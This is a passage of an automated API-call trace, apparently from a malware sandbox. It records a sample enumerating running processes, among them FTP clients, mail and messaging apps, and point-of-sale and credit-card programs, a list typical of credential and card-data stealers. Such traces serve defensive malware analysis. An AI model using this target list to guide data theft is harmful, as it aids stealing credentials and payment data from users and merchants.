th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.946] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.947] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0256.949] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.950] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.953] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.955] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.957] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.958] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.960] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.961] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0256.963] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0256.964] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0256.966] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.968] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.969] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0256.971] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0257.021] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0257.023] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.024] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0257.026] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0257.027] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0257.029] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0257.030] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0257.032] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0257.033] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0257.035] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0257.036] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0257.037] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0257.039] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0257.040] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0257.042] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0257.044] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0257.045] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0257.046] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0257.048] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0257.050] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0257.052] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0257.054] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0257.056] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0257.058] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0257.061] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0257.064] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0257.114] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0257.116] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0257.118] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0257.120] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0257.122] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0257.124] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0257.127] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0257.130] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0257.131] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0257.133] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0257.135] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0257.137] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0257.139] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0257.141] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0257.144] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0257.146] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0257.149] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0257.151] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0257.153] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0257.156] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0257.158] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0257.211] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0257.213] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0257.215] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0257.218] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0257.220] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0257.223] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0257.226] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0257.228] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0257.229] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0257.231] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0257.233] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0257.234] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0257.236] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0257.238] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0257.239] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0257.241] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0257.242] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0257.244] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0257.245] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0257.247] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0257.248] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0257.250] Process32Next (in: 